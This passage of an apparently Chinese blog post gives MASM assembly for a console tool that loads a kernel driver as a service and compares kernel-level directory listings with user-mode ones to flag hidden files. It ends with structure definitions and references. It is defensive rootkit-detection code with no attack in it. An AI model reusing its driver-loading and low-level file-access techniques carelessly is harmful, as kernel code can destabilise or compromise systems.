invoke CreateFile,$CTA0("\\\\.\\slFHF"), GENERIC_READ + GENERIC_WRITE, \
0, NULL, OPEN_EXISTING, 0, NULL
.if eax != INVALID_HANDLE_VALUE
mov hDevice,eax
mov eax,TRUE
ret
.endif
invoke OpenSCManager, NULL, NULL, SC_MANAGER_ALL_ACCESS
.if eax != NULL
mov hSCManager, eax
push eax
invoke GetFullPathName, $CTA0("FHF.sys"), sizeof acModulePath, addr acModulePath, esp
pop eax
invoke CreateService, hSCManager, $CTA0("FHF"), $CTA0("FHF"),\
SERVICE_START + SERVICE_STOP + DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \
SERVICE_ERROR_IGNORE, addr acModulePath, NULL, NULL, NULL, NULL, NULL
.if eax != NULL
mov hService, eax
invoke StartService, hService, 0, NULL
.if eax != 0
invoke CreateFile,$CTA0("\\\\.\\slFHF"), GENERIC_READ + GENERIC_WRITE, \
0, NULL, OPEN_EXISTING, 0, NULL
.if eax != INVALID_HANDLE_VALUE
mov hDevice, eax
invoke CloseServiceHandle, hService
mov eax,TRUE
ret
.endif
invoke ControlService, hService, SERVICE_CONTROL_STOP, addr _ss
.endif
invoke DeleteService, hService
invoke CloseServiceHandle, hService
.endif
invoke CloseServiceHandle, hSCManager
.endif
mov eax,FALSE
ret
_LoadDriver endp
_CloseDevice proc uses ebx esi edi
LOCAL hSCManager
LOCAL hService
LOCAL sest : SERVICE_STATUS
.if hDevice
invoke CloseHandle, hDevice
.endif
invoke OpenSCManager, NULL, NULL, SC_MANAGER_CONNECT
.if eax!=0
mov hSCManager, eax
invoke OpenService, hSCManager, $CTA0("FHF"), SERVICE_STOP+DELETE
.if eax!=0
mov hService, eax
invoke ControlService, hService, SERVICE_CONTROL_STOP, addr sest
invoke DeleteService, hService
invoke CloseServiceHandle, hService
.endif
invoke CloseServiceHandle, hSCManager
.endif
ret
_CloseDevice endp
_PrintFileInfo proc
local sysTime :SYSTEMTIME
local stFindFile:WIN32_FIND_DATA
local hFindFile
local lpName
local EnFilea
local EnFileb
pushad
lea esi,adwOutBuffer
assume esi:ptr DIRECTORY_INFO
mov ecx,count
@@: push ecx
.if [esi].FileAttributes & FILE_ATTRIBUTE_DIRECTORY
.if [esi].Flag == TRUE
invoke SetConsoleTextAttribute,hStdOut,FOREGROUND_RED+FOREGROUND_INTENSITY
.endif
invoke FileTimeToSystemTime,addr [esi].CreationTime,addr sysTime
push esi
lea esi,[esi].FileName
mov lpName,esi
push dword ptr[esi].EndOfFile
pop EnFilea
push dword ptr[esi].EndOfFile+4
pop EnFileb
movzx esi,sysTime.wYear
movzx edi,sysTime.wMonth
movzx ebx,sysTime.wDay
movzx ecx,sysTime.wHour
movzx edx,sysTime.wMinute
invoke wsprintf,addr szOutput,addr szOutputA,esi,edi,ebx,ecx,\
edx,addr szIr,EnFilea,lpName
invoke _ConsolePrint,addr szOutput
pop esi
.else
.if [esi].Flag == TRUE
invoke SetConsoleTextAttribute,hStdOut,FOREGROUND_RED+FOREGROUND_INTENSITY
.endif
invoke FileTimeToSystemTime,addr [esi].CreationTime,addr sysTime
push esi
lea esi,[esi].FileName
mov lpName,esi
push dword ptr[esi].EndOfFile
pop EnFilea
push dword ptr[esi].EndOfFile+4
pop EnFileb
movzx esi,sysTime.wYear
movzx edi,sysTime.wMonth
movzx ebx,sysTime.wDay
movzx ecx,sysTime.wHour
movzx edx,sysTime.wMinute
invoke wsprintf,addr szOutput,addr szOutputB,esi,edi,ebx,ecx,edx,EnFilea,\
lpName
invoke _ConsolePrint,addr szOutput
pop esi
.endif
invoke SetConsoleTextAttribute,hStdOut,FOREGROUND_GREEN
add esi,sizeof DIRECTORY_INFO
pop ecx
dec ecx
.if ecx
jmp @B
.endif
ret
_PrintFileInfo endp
_SubPath proc
lea edi,szBuffer
mov al,'>'
mov cx,100D
repne scasb
dec edi
@@: dec edi
cmp byte ptr[edi],'\'
jne @B
cmp byte ptr[edi-1],':'
jne @F
inc edi
@@: mov byte ptr[edi],'>'
inc edi
mov byte ptr[edi],0
ret
_SubPath endp
_AddPath proc lpSz
pushad
lea edi,szBuffer
mov al,'>'
mov cx,100D
repne scasb
dec edi
.if byte ptr[edi-1]=='\'
mov byte ptr[edi],0
.else
mov byte ptr[edi],'\'
inc edi
mov byte ptr[edi],0
.endif
mov esi,lpSz
invoke lstrlen,esi
add esi,eax
mov word ptr[esi-2],0
invoke lstrcat,addr szBuffer,lpSz
invoke lstrcat,addr szBuffer,addr last
popad
ret
_AddPath endp
_Init proc
pushad
lea esi,adwOutBuffer
assume esi:ptr DIRECTORY_INFO
xor edx,edx
mov eax,dwBytesReturned
mov ecx,sizeof DIRECTORY_INFO
div ecx
mov count,eax
mov ecx,eax
@@: mov [esi].Flag,TRUE
push ecx
add esi,sizeof DIRECTORY_INFO
pop ecx
loop @B
popad
ret
_Init endp
_SetFlag proc lpName
pushad
lea esi,adwOutBuffer
assume esi:ptr DIRECTORY_INFO
mov ecx,count
@@: push ecx
invoke lstrcmp,addr [esi].FileName,lpName
.if !eax
mov [esi].Flag,FALSE
.endif
pop ecx
add esi,sizeof DIRECTORY_INFO
loop @B
assume esi:nothing
popad
ret
_SetFlag endp
_FindHideFile proc
local stFindFile:WIN32_FIND_DATA
local hFindFile
local @szSearch[MAX_PATH]:byte
local sysTime :SYSTEMTIME
pushad
invoke lstrcpy,addr @szSearch,addr szBuffer
invoke lstrlen,addr @szSearch
lea esi,@szSearch
add esi,eax
xor eax,eax
dec esi
mov byte ptr[esi],'\'
mov byte ptr[esi+1],'*'
mov byte ptr[esi+2],'.'
mov byte ptr[esi+3],'*'
mov byte ptr[esi+4],0
invoke FindFirstFile,addr @szSearch,addr stFindFile
.if eax != INVALID_HANDLE_VALUE
mov hFindFile,eax
.repeat
invoke _SetFlag,addr stFindFile.cFileName
invoke FindNextFile,hFindFile,addr stFindFile
.until (eax == FALSE)
invoke FindClose,hFindFile
.endif
popad
ret
_FindHideFile endp
start:
call _ConsoleInit
invoke SetConsoleTextAttribute,hStdOut,FOREGROUND_BLUE+FOREGROUND_INTENSITY
invoke _ConsolePrint,addr szVer
invoke GetCurrentDirectory,1024,addr szBuffer
invoke lstrcat,addr szBuffer,addr last
invoke SetConsoleTitle,addr szCaption
invoke SetConsoleTextAttribute,hStdOut,FOREGROUND_GREEN
@@: invoke _ConsolePrint,addr szBuffer
invoke RtlZeroMemory,addr szGet,sizeof szGet
invoke _ConsoleRead,addr szGet
lea esi,szGet
invoke lstrcmp,esi,addr szExit
.if !eax
invoke _CloseDevice
invoke ExitProcess,NULL
.endif
invoke lstrcmp,esi,addr szCdB
.if !eax
p2: or FLAG,1
lea esi,szBuffer
inc esi
inc esi
cmp byte ptr[esi],'>'
je ll
invoke _SubPath
invoke _ConsolePrint,addr odoa
ll: jmp @B
.endif
invoke lstrcmp,esi,addr szCdC
.if !eax
jmp p2
.endif
movzx eax,byte ptr[esi]
.if eax == 'c'
inc esi
movzx eax,byte ptr[esi]
.if eax == 'd'
inc esi
movzx eax,byte ptr[esi]
.if eax == ' '
inc esi
cmp byte ptr[esi],0dh
jz L
invoke _AddPath,esi
L: invoke _ConsolePrint,addr odoa
jmp @B
.else
invoke _ConsolePrint,addr odoa
jmp @B
.endif
.else
dec esi
.endif
.endif
invoke lstrcmp,esi,addr szDir
.if !eax
L1: invoke _LoadDriver
.if !eax
invoke _CloseDevice
jmp L1
.endif
invoke lstrcpy,addr inBuffer,addr szBuffer
invoke lstrlen,addr inBuffer
lea esi,inBuffer
add esi,eax
dec esi
mov byte ptr[esi],'\'
invoke RtlZeroMemory,addr adwOutBuffer,sizeof adwOutBuffer
invoke DeviceIoControl,hDevice, IOCTL_GET_DIRECTORY_INFO, addr inBuffer,sizeof inBuffer, \
addr adwOutBuffer, sizeof adwOutBuffer, addr dwBytesReturned, NULL
.if ( eax != 0 ) && ( dwBytesReturned != 0 )
invoke _Init
invoke _FindHideFile
invoke _PrintFileInfo
invoke _ConsolePrint,addr odoa
jmp @B
.else
invoke _ConsolePrint,addr szFail
jmp @B
.endif
.endif
inc esi
invoke lstrcmp,esi,addr szRoot
dec esi
.if !eax
lea edi,szBuffer
invoke RtlZeroMemory,edi,sizeof szBuffer
lodsb
.if al>60h
sub al,20H
.endif
mov byte ptr[edi],al
lodsb
mov byte ptr[edi+1],al
mov al,'\'
inc edi
inc edi
stosb
mov al,'>'
stosb
invoke _ConsolePrint,addr odoa
jmp @B
.endif
invoke _ConsolePrint,addr szError
invoke _ConsolePrint,addr odoa
jmp @B
end start
文件common.inc:
IOCTL_GET_DIRECTORY_INFO equ CTL_CODE(FILE_DEVICE_UNKNOWN, 800h, METHOD_BUFFERED, FILE_READ_ACCESS + FILE_WRITE_ACCESS)
FILE_DIRECTORY_INFORMATION STRUCT ; sizeof = 48h
NextEntryOffset DWORD ?
FileIndex DWORD ?
CreationTime LARGE_INTEGER <>
LastAccessTime LARGE_INTEGER <>
LastWriteTime LARGE_INTEGER <>
ChangeTime LARGE_INTEGER <>
EndOfFile LARGE_INTEGER <>
AllocationSize LARGE_INTEGER <>
FileAttributes DWORD ?
FileNameLength DWORD ?
FileName WORD 1 dup(?) ; WCHAR
WORD 3 dup(?) ; padding
FILE_DIRECTORY_INFORMATION ENDS
PFILE_DIRECTORY_INFORMATION typedef ptr FILE_DIRECTORY_INFORMATION
DIRECTORY_INFO STRUCT
FileName DB 50 dup(?)
CreationTime LARGE_INTEGER <>
EndOfFile LARGE_INTEGER <>
FileAttributes DWORD ?
Flag DWORD ?
DIRECTORY_INFO ENDS
参考资料:
(1)Windows平台内核级文件访问
http://www.retcvc.com/cgi-bin/topic.cgi?forum=17&topic=1113&show=0
(2)好象是Windows源代码http://www.koders.com/c/fid304D967B0B1C3F3B1FB80A6D31B5FABA820B185B.aspx
(3)Rajeev Nagar, "Windows NT File System Internals. A Developer's Guide", O'Reilly
2007年4月1日星期日
订阅:
博文 (Atom)
